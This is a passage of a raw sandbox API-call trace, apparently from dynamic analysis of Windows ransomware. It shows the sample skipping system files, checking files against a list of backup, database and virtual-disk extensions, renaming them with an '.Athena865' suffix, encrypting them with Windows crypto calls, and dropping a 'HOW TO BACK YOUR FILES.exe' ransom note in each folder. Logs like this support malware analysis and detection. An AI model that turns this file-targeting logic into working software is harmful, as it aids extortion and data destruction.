CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.448] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b0, lpName=0x0) returned 0x17c [0096.449] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13b0) returned 0x100000 [0096.450] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.451] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.451] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.452] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.452] CloseHandle (hObject=0x17c) returned 1 [0096.452] CloseHandle (hObject=0x154) returned 1 [0096.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.452] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a3a0e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3a3a0e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.452] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.452] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0096.452] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.452] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.452] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0096.452] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="windows") returned -1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="bootmgr") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="temp") returned -1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="pagefile.sys") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="boot") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="ids.txt") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="ntuser.dat") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="perflogs") returned 1 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2="MSBuild") returned 1 [0096.453] lstrlenW (lpString="RenderingControl.xml") returned 20 [0096.453] lstrcpyW (in: lpString1=0x241e8be, lpString2="RenderingControl.xml" | out: lpString1="RenderingControl.xml") returned="RenderingControl.xml" [0096.453] lstrlenW (lpString="RenderingControl.xml") returned 20 [0096.453] lstrlenW (lpString="Athena865") returned 9 [0096.453] lstrcmpiW (lpString1="ntrol.xml", lpString2="Athena865") returned 1 [0096.453] lstrlenW (lpString=".dll") returned 4 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".dll") returned 1 [0096.453] lstrlenW (lpString=".lnk") returned 4 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".lnk") returned 1 [0096.453] lstrlenW (lpString=".ini") returned 4 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".ini") returned 1 [0096.453] lstrlenW (lpString=".sys") returned 4 [0096.453] lstrcmpiW (lpString1="RenderingControl.xml", lpString2=".sys") returned 1 [0096.453] lstrlenW (lpString="RenderingControl.xml") returned 20 [0096.453] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Athena865") returned 89 [0096.453] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml.athena865"), dwFlags=0x1) returned 1 [0096.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.454] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6363) returned 1 [0096.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.455] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.455] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.455] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.455] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1be0, lpName=0x0) returned 0x17c [0096.457] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1be0) returned 0x100000 [0096.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.458] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.458] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.459] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.459] CloseHandle (hObject=0x17c) returned 1 [0096.459] CloseHandle (hObject=0x154) returned 1 [0096.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.460] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0096.460] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.460] ReleaseMutex (hMutex=0xec) returned 1 [0096.460] CloseHandle (hObject=0xec) returned 1 [0096.460] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0096.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501e28 | out: hHeap=0x4f0000) returned 1 [0096.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5309c8 | out: hHeap=0x4f0000) returned 1 [0096.460] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned 59 [0096.460] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E7E346DC2DE41BE2CD80C1FB3BFD8EA3") returned 0xec [0096.460] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.460] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0096.460] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.460] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\network sharing\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\network sharing\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.461] GetLastError () returned 0x0 [0096.461] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.461] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.462] CloseHandle (hObject=0xf4) returned 1 [0096.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.462] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.462] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3ad2660, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3ad2660, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.462] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.462] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.462] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3ad2660, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3ad2660, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.462] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.462] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.462] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ad2660, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3ad2660, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.463] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ad2660, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3ad2660, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0096.463] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.463] ReleaseMutex (hMutex=0xec) returned 1 [0096.463] CloseHandle (hObject=0xec) returned 1 [0096.463] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Skins" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned="C:\\Program Files (x86)\\Windows Media Player\\Skins" [0096.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e5f0 | out: hHeap=0x4f0000) returned 1 [0096.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509080 | out: hHeap=0x4f0000) returned 1 [0096.463] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned 49 [0096.463] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8461F9A9C5078915A462038DB02D315F") returned 0xec [0096.463] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.463] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Skins" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned="C:\\Program Files (x86)\\Windows Media Player\\Skins" [0096.463] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.463] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\skins\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\skins\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.464] GetLastError () returned 0x0 [0096.464] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.464] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.465] CloseHandle (hObject=0xf4) returned 1 [0096.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.465] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.465] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3c292c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3c292c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.465] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.465] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.465] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3c292c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3c292c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.465] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.465] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c292c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3c292c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.465] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="Revert.wmz", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.465] lstrcmpiW (lpString1="Revert.wmz", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.465] lstrcmpiW (lpString1="Revert.wmz", lpString2=".") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="..") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="windows") returned -1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="bootmgr") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="temp") returned -1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="pagefile.sys") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="boot") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="ids.txt") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="ntuser.dat") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="perflogs") returned 1 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2="MSBuild") returned 1 [0096.466] lstrlenW (lpString="Revert.wmz") returned 10 [0096.466] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Revert.wmz" | out: lpString1="Revert.wmz") returned="Revert.wmz" [0096.466] lstrlenW (lpString="Revert.wmz") returned 10 [0096.466] lstrlenW (lpString="Athena865") returned 9 [0096.466] lstrcmpiW (lpString1="evert.wmz", lpString2="Athena865") returned 1 [0096.466] lstrlenW (lpString=".dll") returned 4 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2=".dll") returned 1 [0096.466] lstrlenW (lpString=".lnk") returned 4 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2=".lnk") returned 1 [0096.466] lstrlenW (lpString=".ini") returned 4 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2=".ini") returned 1 [0096.466] lstrlenW (lpString=".sys") returned 4 [0096.466] lstrcmpiW (lpString1="Revert.wmz", lpString2=".sys") returned 1 [0096.466] lstrlenW (lpString="Revert.wmz") returned 10 [0096.466] lstrlenW (lpString="bak") returned 3 [0096.466] lstrcmpiW (lpString1="wmz", lpString2="bak") returned 1 [0096.466] lstrlenW (lpString="ba_") returned 3 [0096.466] lstrcmpiW (lpString1="wmz", lpString2="ba_") returned 1 [0096.466] lstrlenW (lpString="dbb") returned 3 [0096.466] lstrcmpiW (lpString1="wmz", lpString2="dbb") returned 1 [0096.466] lstrlenW (lpString="vmdk") returned 4 [0096.467] lstrcmpiW (lpString1=".wmz", lpString2="vmdk") returned -1 [0096.467] lstrlenW (lpString="rar") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="rar") returned 1 [0096.467] lstrlenW (lpString="zip") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="zip") returned -1 [0096.467] lstrlenW (lpString="tgz") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="tgz") returned 1 [0096.467] lstrlenW (lpString="vbox") returned 4 [0096.467] lstrcmpiW (lpString1=".wmz", lpString2="vbox") returned -1 [0096.467] lstrlenW (lpString="vdi") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="vdi") returned 1 [0096.467] lstrlenW (lpString="vhd") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="vhd") returned 1 [0096.467] lstrlenW (lpString="vhdx") returned 4 [0096.467] lstrcmpiW (lpString1=".wmz", lpString2="vhdx") returned -1 [0096.467] lstrlenW (lpString="avhd") returned 4 [0096.467] lstrcmpiW (lpString1=".wmz", lpString2="avhd") returned -1 [0096.467] lstrlenW (lpString="db") returned 2 [0096.467] lstrcmpiW (lpString1="mz", lpString2="db") returned 1 [0096.467] lstrlenW (lpString="db2") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="db2") returned 1 [0096.467] lstrlenW (lpString="db3") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="db3") returned 1 [0096.467] lstrlenW (lpString="dbf") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="dbf") returned 1 [0096.467] lstrlenW (lpString="mdf") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="mdf") returned 1 [0096.467] lstrlenW (lpString="mdb") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="mdb") returned 1 [0096.467] lstrlenW (lpString="sql") returned 3 [0096.467] lstrcmpiW (lpString1="wmz", lpString2="sql") returned 1 [0096.467] lstrlenW (lpString="sqlite") returned 6 [0096.467] lstrcmpiW (lpString1="rt.wmz", lpString2="sqlite") returned -1 [0096.468] lstrlenW (lpString="sqlite3") returned 7 [0096.468] lstrcmpiW (lpString1="ert.wmz", lpString2="sqlite3") returned -1 [0096.468] lstrlenW (lpString="sqlitedb") returned 8 [0096.468] lstrcmpiW (lpString1="vert.wmz", lpString2="sqlitedb") returned 1 [0096.468] lstrlenW (lpString="xml") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="xml") returned -1 [0096.468] lstrlenW (lpString="$er") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="$er") returned 1 